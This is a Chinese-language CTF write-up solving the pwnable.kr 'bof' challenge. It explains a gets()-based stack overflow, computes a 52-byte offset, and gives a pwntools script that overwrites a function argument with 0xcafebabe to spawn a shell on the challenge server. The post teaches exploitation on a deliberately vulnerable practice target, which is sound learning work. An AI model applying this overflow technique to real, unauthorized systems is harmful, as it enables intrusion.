Chybeta

Pwnable.kr:bof

简单栈溢出。

bof

原题有提供binary和source code。

1
2
(venv) chybeta@ubuntu:~/pwn/pwnable/bof$ file bof
bof: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=ed643dfe8d026b7238d3033b0d0bcc499504f273, not stripped

用IDA打开,f5:

main函数:

func函数:

func函数接受一个参数(0xDEADBEEF),之后通过gets()接受输入。因此可以通过栈溢出,将a1覆盖为0xCAFEBABE,这样能直接执行 system(“/bin/sh”)

a1 是 func()的参数,在栈上位于 ebp+8h 的位置。而输入字符串的起点为 ebp-2ch。两者相差:0x2c + 0x8h = 52 。

exp

1
2
3
4
5
6
from pwn import *
p = remote("pwnable.kr","9000")
payload = 'a' * 52
payload += p32(0xcafebabe)
p.sendline(payload)
p.interactive()

flag

微信扫码加入知识星球【漏洞百出】
chybeta WeChat Pay

点击图片放大,扫码知识星球【漏洞百出】

本文标题:Pwnable.kr:bof

文章作者:chybeta

发布时间:2017年04月07日 - 20:04

最后更新:2017年07月28日 - 15:07

原始链接:http://chybeta.github.io/2017/04/07/Pwnable-kr-bof/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。